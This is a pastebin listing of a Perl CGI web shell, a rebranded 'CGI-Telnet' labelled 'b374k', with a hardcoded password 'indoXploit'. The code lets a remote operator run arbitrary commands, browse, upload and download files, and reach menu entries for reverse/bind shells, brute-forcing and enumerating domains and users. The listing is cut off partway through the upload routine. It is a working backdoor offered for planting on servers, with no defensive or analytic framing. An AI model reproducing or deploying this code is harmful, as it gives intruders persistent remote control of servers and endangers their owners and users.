SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/perl -I/usr/local/bandmin | |
2 | use MIME::Base64; | |
3 | $Version= "CGI-Telnet Version 1.3"; | |
4 | $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>b374k - CGI-Telnet</font>"; | |
5 | ||
6 | $Password = "indoXploit"; # Change this. You will need to enter this to login. | |
7 | sub Is_Win(){ | |
8 | $os = &trim($ENV{"SERVER_SOFTWARE"}); | |
9 | if($os =~ m/win/i){ | |
10 | return 1; | |
11 | } | |
12 | else{ | |
13 | return 0; | |
14 | } | |
15 | } | |
16 | $WinNT = &Is_Win(); # You need to change the value of this to 1 if | |
17 | # you're running this script on a Windows NT | |
18 | # machine. If you're running it on Unix, you | |
19 | # can leave the value as it is. | |
20 | ||
21 | $NTCmdSep = "&"; # This character is used to seperate 2 commands | |
22 | # in a command line on Windows NT. | |
23 | ||
24 | $UnixCmdSep = ";"; # This character is used to seperate 2 commands | |
25 | # in a command line on Unix. | |
26 | ||
27 | $CommandTimeoutDuration = 10000; # Time in seconds after commands will be killed | |
28 | # Don't set this to a very large value. This is | |
29 | # useful for commands that may hang or that | |
30 | # take very long to execute, like "find /". | |
31 | # This is valid only on Unix servers. It is | |
32 | # ignored on NT Servers. | |
33 | ||
34 | $ShowDynamicOutput = 1; # If this is 1, then data is sent to the | |
35 | # browser as soon as it is output, otherwise | |
36 | # it is buffered and send when the command | |
37 | # completes. This is useful for commands like | |
38 | # ping, so that you can see the output as it | |
39 | # is being generated. | |
40 | ||
41 | # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !! | |
42 | ||
43 | $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep); | |
44 | $CmdPwd = ($WinNT ? "cd" : "pwd"); | |
45 | $PathSep = ($WinNT ? "\\" : "/"); | |
46 | $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1"); | |
47 | $cols= 150; | |
48 | $rows= 26; | |
49 | #------------------------------------------------------------------------------ | |
50 | # Reads the input sent by the browser and parses the input variables. It | |
51 | # parses GET, POST and multipart/form-data that is used for uploading files. | |
52 | # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}. | |
53 | # Other variables can be accessed using $in{'var'}, where var is the name of | |
54 | # the variable. Note: Most of the code in this function is taken from other CGI | |
55 | # scripts. | |
56 | #------------------------------------------------------------------------------ | |
57 | sub ReadParse | |
58 | { | |
59 | local (*in) = @_ if @_; | |
60 | local ($i, $loc, $key, $val); | |
61 | ||
62 | $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/; | |
63 | ||
64 | if($ENV{'REQUEST_METHOD'} eq "GET") | |
65 | { | |
66 | $in = $ENV{'QUERY_STRING'}; | |
67 | } | |
68 | elsif($ENV{'REQUEST_METHOD'} eq "POST") | |
69 | { | |
70 | binmode(STDIN) if $MultipartFormData & $WinNT; | |
71 | read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); | |
72 | } | |
73 | ||
74 | # handle file upload data | |
75 | if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/) | |
76 | { | |
77 | $Boundary = '--'.$1; # please refer to RFC1867 | |
78 | @list = split(/$Boundary/, $in); | |
79 | $HeaderBody = $list[1]; | |
80 | $HeaderBody =~ /\r\n\r\n|\n\n/; | |
81 | $Header = $`; | |
82 | $Body = $'; | |
83 | $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape | |
84 | $in{'filedata'} = $Body; | |
85 | $Header =~ /filename=\"(.+)\"/; | |
86 | $in{'f'} = $1; | |
87 | $in{'f'} =~ s/\"//g; | |
88 | $in{'f'} =~ s/\s//g; | |
89 | ||
90 | # parse trailer | |
91 | for($i=2; $list[$i]; $i++) | |
92 | { | |
93 | $list[$i] =~ s/^.+name=$//; | |
94 | $list[$i] =~ /\"(\w+)\"/; | |
95 | $key = $1; | |
96 | $val = $'; | |
97 | $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; | |
98 | $val =~ s/%(..)/pack("c", hex($1))/ge; | |
99 | $in{$key} = $val; | |
100 | } | |
101 | } | |
102 | else # standard post data (url encoded, not multipart) | |
103 | { | |
104 | @in = split(/&/, $in); | |
105 | foreach $i (0 .. $#in) | |
106 | { | |
107 | $in[$i] =~ s/\+/ /g; | |
108 | ($key, $val) = split(/=/, $in[$i], 2); | |
109 | $key =~ s/%(..)/pack("c", hex($1))/ge; | |
110 | $val =~ s/%(..)/pack("c", hex($1))/ge; | |
111 | $in{$key} .= "\0" if (defined($in{$key})); | |
112 | $in{$key} .= $val; | |
113 | } | |
114 | } | |
115 | } | |
116 | ||
117 | #------------------------------------------------------------------------------ | |
118 | # Prints the HTML Page Header | |
119 | # Argument 1: Form item name to which focus should be set | |
120 | #------------------------------------------------------------------------------ | |
121 | sub PrintPageHeader | |
122 | { | |
123 | $EncodedCurrentDir = $CurrentDir; | |
124 | $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; | |
125 | my $dir =$CurrentDir; | |
126 | $dir=~ s/\\/\\\\/g; | |
127 | print "Content-type: text/html\n\n"; | |
128 | print <<END; | |
129 | <html> | |
130 | <head> | |
131 | <meta http-equiv="content-type" content="text/html; charset=UTF-8"> | |
132 | <title>Hacsugia</title> | |
133 | ||
134 | $HtmlMetaHeader | |
135 | ||
136 | </head> | |
137 | <style> | |
138 | body{ | |
139 | font: 10pt Verdana; | |
140 | } | |
141 | tr { | |
142 | BORDER-RIGHT: #3e3e3e 1px solid; | |
143 | BORDER-TOP: #3e3e3e 1px solid; | |
144 | BORDER-LEFT: #3e3e3e 1px solid; | |
145 | BORDER-BOTTOM: #3e3e3e 1px solid; | |
146 | color: #ff9900; | |
147 | } | |
148 | td { | |
149 | BORDER-RIGHT: #3e3e3e 1px solid; | |
150 | BORDER-TOP: #3e3e3e 1px solid; | |
151 | BORDER-LEFT: #3e3e3e 1px solid; | |
152 | BORDER-BOTTOM: #3e3e3e 1px solid; | |
153 | color: #2BA8EC; | |
154 | font: 10pt Verdana; | |
155 | } | |
156 | ||
157 | table { | |
158 | BORDER-RIGHT: #3e3e3e 1px solid; | |
159 | BORDER-TOP: #3e3e3e 1px solid; | |
160 | BORDER-LEFT: #3e3e3e 1px solid; | |
161 | BORDER-BOTTOM: #3e3e3e 1px solid; | |
162 | BACKGROUND-COLOR: #111; | |
163 | } | |
164 | ||
165 | ||
166 | input { | |
167 | BORDER-RIGHT: #3e3e3e 1px solid; | |
168 | BORDER-TOP: #3e3e3e 1px solid; | |
169 | BORDER-LEFT: #3e3e3e 1px solid; | |
170 | BORDER-BOTTOM: #3e3e3e 1px solid; | |
171 | BACKGROUND-COLOR: Black; | |
172 | font: 10pt Verdana; | |
173 | color: #ff9900; | |
174 | } | |
175 | ||
176 | input.submit { | |
177 | text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; | |
178 | color: #FFFFFF; | |
179 | border-color: #009900; | |
180 | } | |
181 | ||
182 | code { | |
183 | border : dashed 0px #333; | |
184 | BACKGROUND-COLOR: Black; | |
185 | font: 10pt Verdana bold; | |
186 | color: while; | |
187 | } | |
188 | ||
189 | run { | |
190 | border : dashed 0px #333; | |
191 | font: 10pt Verdana bold; | |
192 | color: #FF00AA; | |
193 | } | |
194 | ||
195 | textarea { | |
196 | BORDER-RIGHT: #3e3e3e 1px solid; | |
197 | BORDER-TOP: #3e3e3e 1px solid; | |
198 | BORDER-LEFT: #3e3e3e 1px solid; | |
199 | BORDER-BOTTOM: #3e3e3e 1px solid; | |
200 | BACKGROUND-COLOR: #1b1b1b; | |
201 | font: Fixedsys bold; | |
202 | color: #aaa; | |
203 | } | |
204 | A:link { | |
205 | COLOR: #2BA8EC; TEXT-DECORATION: none | |
206 | } | |
207 | A:visited { | |
208 | COLOR: #2BA8EC; TEXT-DECORATION: none | |
209 | } | |
210 | A:hover { | |
211 | text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; | |
212 | color: #ff9900; TEXT-DECORATION: none | |
213 | } | |
214 | A:active { | |
215 | color: Red; TEXT-DECORATION: none | |
216 | } | |
217 | ||
218 | .listdir tr:hover{ | |
219 | background: #444; | |
220 | } | |
221 | .listdir tr:hover td{ | |
222 | background: #444; | |
223 | text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; | |
224 | color: #FFFFFF; TEXT-DECORATION: none; | |
225 | } | |
226 | .notline{ | |
227 | background: #111; | |
228 | } | |
229 | .line{ | |
230 | background: #222; | |
231 | } | |
232 | </style> | |
233 | <script language="javascript"> | |
234 | function chmod_form(i,file) | |
235 | { | |
236 | /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/ | |
237 | var ajax=""; | |
238 | document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action=' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>"; | |
239 | document.getElementById("text_" + i).focus(); | |
240 | } | |
241 | function rm_chmod_form(response,i,perms,file) | |
242 | { | |
243 | response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>"; | |
244 | } | |
245 | function rename_form(i,file,f) | |
246 | { | |
247 | var ajax=""; | |
248 | f.replace(/\\\\/g,"\\\\\\\\"); | |
249 | var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;"; | |
250 | document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action=' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>"; | |
251 | document.getElementById("text_" + i).focus(); | |
252 | } | |
253 | function rm_rename_form(i,file,f) | |
254 | { | |
255 | if(f=='f') | |
256 | { | |
257 | document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>"; | |
258 | }else | |
259 | { | |
260 | document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>"; | |
261 | } | |
262 | } | |
263 | </script> | |
264 | <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"> | |
265 | <center><code> | |
266 | <table border="1" width="100%" cellspacing="0" cellpadding="2"> | |
267 | <tr> | |
268 | <td align="center" rowspan=2> | |
269 | <b><font size="5">$EditPersion</font></b> | |
270 | </td> | |
271 | ||
272 | <td> | |
273 | ||
274 | <font face="Verdana" size="2">$ENV{"SERVER_SOFTWARE"}</font> | |
275 | </td> | |
276 | <td>Server IP:<font color="#bb0000"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#bb0000">$ENV{'REMOTE_ADDR'}</font> | |
277 | </td> | |
278 | ||
279 | </tr> | |
280 | ||
281 | <tr> | |
282 | <td colspan="3"><font face="Verdana" size="2"> | |
283 | <a href="$ScriptLocation">Home</a> | | |
284 | <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Command</a> | | |
285 | <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">GUI</a> | | |
286 | <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> | | |
287 | <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> | | |
288 | ||
289 | <a href="$ScriptLocation?a=backbind">Back & Bind</a> | | |
290 | <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> | | |
291 | <a href="$ScriptLocation?a=checklog">Check Log</a> | | |
292 | <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> | | |
293 | <a href="$ScriptLocation?a=logout">Logout</a> | | |
294 | <a target='_blank' href="#">Help</a> | |
295 | ||
296 | </font></td> | |
297 | </tr> | |
298 | </table> | |
299 | <font id="ResponseData" color="#ff99cc" > | |
300 | END | |
301 | } | |
302 | ||
303 | #------------------------------------------------------------------------------ | |
304 | # Prints the Login Screen | |
305 | #------------------------------------------------------------------------------ | |
306 | sub PrintLoginScreen | |
307 | { | |
308 | ||
309 | print <<END; | |
310 | <pre><script type="text/javascript"> | |
311 | TypingText = function(element, interval, cursor, finishedCallback) { | |
312 | if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) { | |
313 | this.running = true; // Never run. | |
314 | return; | |
315 | } | |
316 | this.element = element; | |
317 | this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; }); | |
318 | this.interval = (typeof interval == "undefined" ? 100 : interval); | |
319 | this.origText = this.element.innerHTML; | |
320 | this.unparsedOrigText = this.origText; | |
321 | this.cursor = (cursor ? cursor : ""); | |
322 | this.currentText = ""; | |
323 | this.currentChar = 0; | |
324 | this.element.typingText = this; | |
325 | if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++; | |
326 | TypingText.all.push(this); | |
327 | this.running = false; | |
328 | this.inTag = false; | |
329 | this.tagBuffer = ""; | |
330 | this.inHTMLEntity = false; | |
331 | this.HTMLEntityBuffer = ""; | |
332 | } | |
333 | TypingText.all = new Array(); | |
334 | TypingText.currentIndex = 0; | |
335 | TypingText.runAll = function() { | |
336 | for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run(); | |
337 | } | |
338 | TypingText.prototype.run = function() { | |
339 | if(this.running) return; | |
340 | if(typeof this.origText == "undefined") { | |
341 | setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience. | |
342 | return; | |
343 | } | |
344 | if(this.currentText == "") this.element.innerHTML = ""; | |
345 | // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text. | |
346 | if(this.currentChar < this.origText.length) { | |
347 | if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) { | |
348 | this.tagBuffer = "<"; | |
349 | this.inTag = true; | |
350 | this.currentChar++; | |
351 | this.run(); | |
352 | return; | |
353 | } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) { | |
354 | this.tagBuffer += ">"; | |
355 | this.inTag = false; | |
356 | this.currentText += this.tagBuffer; | |
357 | this.currentChar++; | |
358 | this.run(); | |
359 | return; | |
360 | } else if(this.inTag) { | |
361 | this.tagBuffer += this.origText.charAt(this.currentChar); | |
362 | this.currentChar++; | |
363 | this.run(); | |
364 | return; | |
365 | } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) { | |
366 | this.HTMLEntityBuffer = "&"; | |
367 | this.inHTMLEntity = true; | |
368 | this.currentChar++; | |
369 | this.run(); | |
370 | return; | |
371 | } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) { | |
372 | this.HTMLEntityBuffer += ";"; | |
373 | this.inHTMLEntity = false; | |
374 | this.currentText += this.HTMLEntityBuffer; | |
375 | this.currentChar++; | |
376 | this.run(); | |
377 | return; | |
378 | } else if(this.inHTMLEntity) { | |
379 | this.HTMLEntityBuffer += this.origText.charAt(this.currentChar); | |
380 | this.currentChar++; | |
381 | this.run(); | |
382 | return; | |
383 | } else { | |
384 | this.currentText += this.origText.charAt(this.currentChar); | |
385 | } | |
386 | this.element.innerHTML = this.currentText; | |
387 | this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : ""); | |
388 | this.currentChar++; | |
389 | setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); | |
390 | } else { | |
391 | this.currentText = ""; | |
392 | this.currentChar = 0; | |
393 | this.running = false; | |
394 | this.finishedCallback(); | |
395 | } | |
396 | } | |
397 | </script> | |
398 | </pre> | |
399 | ||
400 | <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2001 Rohitab Batra </font><br><br> | |
401 | <table align="center" border="1" width="600" heigh> | |
402 | <tbody><tr> | |
403 | <td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;"> | |
404 | <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br> | |
405 | ||
406 | <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br> | |
407 | <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br> | |
408 | <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br> | |
409 | ||
410 | <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br> | |
411 | ||
412 | <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br> | |
413 | <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font> | |
414 | </tr> | |
415 | </tbody></table> | |
416 | <br> | |
417 | ||
418 | <script type="text/javascript"> | |
419 | new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; }); | |
420 | TypingText.runAll(); | |
421 | ||
422 | </script> | |
423 | END | |
424 | } | |
425 | ||
426 | #------------------------------------------------------------------------------ | |
427 | # Add html special chars | |
428 | #------------------------------------------------------------------------------ | |
429 | sub HtmlSpecialChars($){ | |
430 | my $text = shift; | |
431 | $text =~ s/&/&/g; | |
432 | $text =~ s/"/"/g; | |
433 | $text =~ s/'/'/g; | |
434 | $text =~ s/</</g; | |
435 | $text =~ s/>/>/g; | |
436 | return $text; | |
437 | } | |
438 | #------------------------------------------------------------------------------ | |
439 | # Add link for directory | |
440 | #------------------------------------------------------------------------------ | |
441 | sub AddLinkDir($) | |
442 | { | |
443 | my $ac=shift; | |
444 | my @dir=(); | |
445 | if($WinNT) | |
446 | { | |
447 | @dir=split(/\\/,$CurrentDir); | |
448 | }else | |
449 | { | |
450 | @dir=split("/",&trim($CurrentDir)); | |
451 | } | |
452 | my $path=""; | |
453 | my $result=""; | |
454 | foreach (@dir) | |
455 | { | |
456 | $path .= $_.$PathSep; | |
457 | $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>"; | |
458 | } | |
459 | return $result; | |
460 | } | |
461 | #------------------------------------------------------------------------------ | |
462 | # Prints the message that informs the user of a failed login | |
463 | #------------------------------------------------------------------------------ | |
464 | sub PrintLoginFailedMessage | |
465 | { | |
466 | print <<END; | |
467 | <br>Login : Administrator<br> | |
468 | ||
469 | Password:<br> | |
470 | Login incorrect<br><br> | |
471 | END | |
472 | } | |
473 | ||
474 | #------------------------------------------------------------------------------ | |
475 | # Prints the HTML form for logging in | |
476 | #------------------------------------------------------------------------------ | |
477 | sub PrintLoginForm | |
478 | { | |
479 | print <<END; | |
480 | <form name="f" method="POST" action="$ScriptLocation"> | |
481 | <input type="hidden" name="a" value="login"> | |
482 | Login : Administrator<br> | |
483 | Password:<input type="password" name="p"> | |
484 | <input class="submit" type="submit" value="Enter"> | |
485 | </form> | |
486 | END | |
487 | } | |
488 | ||
489 | #------------------------------------------------------------------------------ | |
490 | # Prints the footer for the HTML Page | |
491 | #------------------------------------------------------------------------------ | |
492 | sub PrintPageFooter | |
493 | { | |
494 | print "<br><font color=red>o---[ <font color=#ff9900>Edit by $EditPersion </font> ]---o</font></code></center></body></html>"; | |
495 | } | |
496 | ||
497 | #------------------------------------------------------------------------------ | |
498 | # Retreives the values of all cookies. The cookies can be accesses using the | |
499 | # variable $Cookies{'} | |
500 | #------------------------------------------------------------------------------ | |
501 | sub GetCookies | |
502 | { | |
503 | @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'}); | |
504 | foreach $cookie(@httpcookies) | |
505 | { | |
506 | ($id, $val) = split(/=/, $cookie); | |
507 | $Cookies{$id} = $val; | |
508 | } | |
509 | } | |
510 | ||
511 | #------------------------------------------------------------------------------ | |
512 | # Prints the screen when the user logs out | |
513 | #------------------------------------------------------------------------------ | |
514 | sub PrintLogoutScreen | |
515 | { | |
516 | print "Connection closed by foreign host.<br><br>"; | |
517 | } | |
518 | ||
519 | #------------------------------------------------------------------------------ | |
520 | # Logs out the user and allows the user to login again | |
521 | #------------------------------------------------------------------------------ | |
522 | sub PerformLogout | |
523 | { | |
524 | print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie | |
525 | &PrintPageHeader("p"); | |
526 | &PrintLogoutScreen; | |
527 | ||
528 | &PrintLoginScreen; | |
529 | &PrintLoginForm; | |
530 | &PrintPageFooter; | |
531 | exit; | |
532 | } | |
533 | ||
534 | #------------------------------------------------------------------------------ | |
535 | # This function is called to login the user. If the password matches, it | |
536 | # displays a page that allows the user to run commands. If the password doens't | |
537 | # match or if no password is entered, it displays a form that allows the user | |
538 | # to login | |
539 | #------------------------------------------------------------------------------ | |
540 | sub PerformLogin | |
541 | { | |
542 | if($LoginPassword eq $Password) # password matched | |
543 | { | |
544 | print "Set-Cookie: SAVEDPWD=$LoginPassword;\n"; | |
545 | &PrintPageHeader; | |
546 | print &ListDir; | |
547 | } | |
548 | else # password didn't match | |
549 | { | |
550 | &PrintPageHeader("p"); | |
551 | &PrintLoginScreen; | |
552 | if($LoginPassword ne "") # some password was entered | |
553 | { | |
554 | &PrintLoginFailedMessage; | |
555 | ||
556 | } | |
557 | &PrintLoginForm; | |
558 | &PrintPageFooter; | |
559 | exit; | |
560 | } | |
561 | } | |
562 | ||
563 | #------------------------------------------------------------------------------ | |
564 | # Prints the HTML form that allows the user to enter commands | |
565 | #------------------------------------------------------------------------------ | |
566 | sub PrintCommandLineInputForm | |
567 | { | |
568 | my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>"; | |
569 | $Prompt = $WinNT ? "$dir > " : "<font color='#66ff66'>[admin\@$ServerName $dir]\$</font> "; | |
570 | return <<END; | |
571 | <form name="f" method="POST" action="$ScriptLocation"> | |
572 | ||
573 | <input type="hidden" name="a" value="command"> | |
574 | ||
575 | <input type="hidden" name="d" value="$CurrentDir"> | |
576 | $Prompt | |
577 | <input type="text" size="50" name="c"> | |
578 | <input class="submit"type="submit" value="Enter"> | |
579 | </form> | |
580 | END | |
581 | } | |
582 | ||
583 | #------------------------------------------------------------------------------ | |
584 | # Prints the HTML form that allows the user to download files | |
585 | #------------------------------------------------------------------------------ | |
586 | sub PrintFileDownloadForm | |
587 | { | |
588 | my $dir = &AddLinkDir("download"); | |
589 | $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ "; | |
590 | return <<END; | |
591 | <form name="f" method="POST" action="$ScriptLocation"> | |
592 | <input type="hidden" name="d" value="$CurrentDir"> | |
593 | <input type="hidden" name="a" value="download"> | |
594 | $Prompt download<br><br> | |
595 | Filename: <input class="file" type="text" name="f" size="35"><br><br> | |
596 | Download: <input class="submit" type="submit" value="Begin"> | |
597 | ||
598 | </form> | |
599 | END | |
600 | } | |
601 | ||
602 | #------------------------------------------------------------------------------ | |
603 | # Prints the HTML form that allows the user to upload files | |
604 | #------------------------------------------------------------------------------ | |
605 | sub PrintFileUploadForm | |
606 | { | |
607 | my $dir= &AddLinkDir("upload"); | |
608 | $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ "; | |
609 | return <<END; | |
610 | <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation"> | |
611 | $Prompt upload<br><br> | |
612 | Filename: <input class="file" type="file" name="f" size="35"><br><br> | |
613 | Options: <input type="checkbox" name="o" id="up" value="overwrite"> | |
614 | <label for="up">Overwrite if it Exists</label><br><br> | |
615 | Upload: <input class="submit" type="submit" value="Begin"> | |
616 | <input type="hidden" name="d" value="$CurrentDir"> | |
617 | <input class="submit" type="hidden" name="a" value="upload"> | |
618 | ||
619 | </form> | |
620 | ||
621 | END | |
622 | } | |
623 | ||
624 | #------------------------------------------------------------------------------ | |
625 | # This function is called when the timeout for a command expires. We need to | |
626 | # terminate the script immediately. This function is valid only on Unix. It is | |
627 | # never called when the script is running on NT. | |
628 | #------------------------------------------------------------------------------ | |
629 | sub CommandTimeout | |
630 | { | |
631 | if(!$WinNT) | |
632 | { | |
633 | alarm(0); | |
634 | return <<END; | |
635 | </textarea> | |
636 | <br><font color=yellow> | |
637 | Command exceeded maximum time of $CommandTimeoutDuration second(s).</font> | |
638 | <br><font size='6' color=red>Killed it!</font> | |
639 | END | |
640 | } | |
641 | } | |
642 | ||
643 | ||
644 | ||
645 | #------------------------------------------------------------------------------ | |
646 | # This function displays the page that contains a link which allows the user | |
647 | # to download the specified file. The page also contains a auto-refresh | |
648 | # feature that starts the download automatically. | |
649 | # Argument 1: Fully qualified filename of the file to be downloaded | |
650 | #------------------------------------------------------------------------------ | |
651 | sub PrintDownloadLinkPage | |
652 | { | |
653 | local($FileUrl) = @_; | |
654 | my $result=""; | |
655 | if(-e $FileUrl) # if the file exists | |
656 | { | |
657 | # encode the file link so we can send it to the browser | |
658 | $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; | |
659 | $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go"; | |
660 | $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">"; | |
661 | &PrintPageHeader("c"); | |
662 | $result .= <<END; | |
663 | Sending File $TransferFile...<br> | |
664 | ||
665 | If the download does not start automatically, | |
666 | <a href="$DownloadLink">Click Here</a> | |
667 | END | |
668 | $result .= &PrintCommandLineInputForm; | |
669 | } | |
670 | else # file doesn't exist | |
671 | { | |
672 | $result .= "Failed to download $FileUrl: $!"; | |
673 | $result .= &PrintFileDownloadForm; | |
674 | } | |
675 | return $result; | |
676 | } | |
677 | ||
678 | #------------------------------------------------------------------------------ | |
679 | # This function reads the specified file from the disk and sends it to the | |
680 | # browser, so that it can be downloaded by the user. | |
681 | # Argument 1: Fully qualified pathname of the file to be sent. | |
682 | #------------------------------------------------------------------------------ | |
683 | sub SendFileToBrowser | |
684 | { | |
685 | my $result = ""; | |
686 | local($SendFile) = @_; | |
687 | if(open(SENDFILE, $SendFile)) # file opened for reading | |
688 | { | |
689 | if($WinNT) | |
690 | { | |
691 | binmode(SENDFILE); | |
692 | binmode(STDOUT); | |
693 | } | |
694 | $FileSize = (stat($SendFile))[7]; | |
695 | ($Filename = $SendFile) =~ m!([^/^\\]*)$!; | |
696 | print "Content-Type: application/x-unknown\n"; | |
697 | print "Content-Length: $FileSize\n"; | |
698 | print "Content-Disposition: attachment; filename=$1\n\n"; | |
699 | print while(<SENDFILE>); | |
700 | close(SENDFILE); | |
701 | exit(1); | |
702 | } | |
703 | else # failed to open file | |
704 | { | |
705 | $result .= "Failed to download $SendFile: $!"; | |
706 | $result .=&PrintFileDownloadForm; | |
707 | } | |
708 | return $result; | |
709 | } | |
710 | ||
711 | ||
712 | #------------------------------------------------------------------------------ | |
713 | # This function is called when the user downloads a file. It displays a message | |
714 | # to the user and provides a link through which the file can be downloaded. | |
715 | # This function is also called when the user clicks on that link. In this case, | |
716 | # the file is read and sent to the browser. | |
717 | #------------------------------------------------------------------------------ | |
718 | sub BeginDownload | |
719 | { | |
720 | # get fully qualified path of the file to be downloaded | |
721 | if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | | |
722 | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute | |
723 | { | |
724 | $TargetFile = $TransferFile; | |
725 | } | |
726 | else # path is relative | |
727 | { | |
728 | chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; | |
729 | $TargetFile .= $PathSep.$TransferFile; | |
730 | } | |
731 | ||
732 | if($Options eq "go") # we have to send the file | |
733 | { | |
734 | &SendFileToBrowser($TargetFile); | |
735 | } | |
736 | else # we have to send only the link page | |
737 | { | |
738 | &PrintDownloadLinkPage($TargetFile); | |
739 | } | |
740 | } | |
741 | ||
742 | #------------------------------------------------------------------------------ | |
743 | # This function is called when the user wants to upload a file. If the | |
744 | # file is not specified, it displays a form allowing the user to specify a | |
745 | # file, otherwise it starts the upload process. | |
746 | #------------------------------------------------------------------------------ | |
747 | sub UploadFile | |
748 | { | |
749 | # if no file is specified, print the upload form again | |
750 | if($TransferFile eq "") | |
751 | { | |
752 | return &PrintFileUploadForm; | |
753 | ||
754 | } | |
755 | my $result=""; | |
756 | # start the uploading process | |
757 | $result .= "Uploading $TransferFile to $CurrentDir...<br>"; | |
758 | ||
759 | # get the fullly qualified pathname of the file to be created | |
760 | chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/; | |
761 | $TransferFile =~ m!([^/^\\]*)$!; | |
762 | $TargetName .= $PathSep.$1; | |
763 | ||
764 | $TargetFileSize = length($in{'filedata'}); | |
765 | # if the file exists and we are not supposed to overwrite it | |
766 | if(-e $TargetName && $Options ne "overwrite") | |
767 | { | |
768 | $result .= "Failed: Destination file already exists.<br>"; | |
769 | } | |
770 | else # file is not present | |
771 | { | |
772 | if(open(UPLOADFILE, ">$TargetName")) | |
773 | { | |
774 | binmode(UPLOADFILE) if $WinNT; | |
775 | print UPLOADFILE $in{'filedata'}; | |
776 | close(UPLOADFILE); | |
777 | $result .= "Transfered $TargetFileSize Bytes.<br>"; | |
778 | $result .= "File Path: $TargetName<br>"; | |
779 | } | |
780 | else | |
781 | { | |
